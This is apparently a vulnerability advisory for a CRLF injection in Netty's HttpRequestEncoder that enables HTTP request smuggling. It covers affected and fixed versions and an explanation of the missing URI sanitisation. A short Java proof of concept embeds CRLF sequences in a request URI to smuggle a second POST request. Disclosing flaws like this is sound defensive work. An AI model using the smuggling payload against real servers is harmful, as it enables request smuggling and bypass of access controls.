CVE-2025-67735 — Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder

Affected: netty

Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.129.Final and 4.2.8.Final, the `io.netty.handler.codec.http.HttpRequestEncoder` has a CRLF injection with the request URI when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the URI. Any application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection. Versions 4.1.129.Final and 4.2.8.Final fix the issue.

GHSA-84h7-rjj3-6jx4 — Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder

Affected: Maven: io.netty:netty-codec-http

### Summary

The `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri.

### Details

The `HttpRequestEncoder` simply UTF8 encodes the `uri` without sanitization (`buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);`)

The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers.

### PoC

Simple reproducer:

```java public static void main(String[] args) {

EmbeddedChannel client = new EmbeddedChannel(); client.pipeline().addLast(new HttpClientCodec());

EmbeddedChannel server = new EmbeddedChannel(); server.pipeline().addLast(new HttpServerCodec()); server.pipeline().addLast(new ChannelInboundHandlerAdapter() { @Override public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { System.out.println("Processing msg " + msg); } });

DefaultHttpRequest request = new DefaultHttpRequest( HttpVersion.HTTP_1_1, HttpMethod.GET, "/s1 HTTP/1.1\r\n" + "\r\n" + "POST /s2 HTTP/1.1\r\n" + "content-length: 11\r\n\r\n" + "Hello World" + "GET /s1" ); client.writeAndFlush(request); ByteBuf tmp; while ((tmp = client.readOutbound()) != null) { server.writeInbound(tmp); } } ```

### Impact

Any application / framework using `HttpRe…

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CVE-2025-67735 — Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder

GHSA-84h7-rjj3-6jx4 — Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder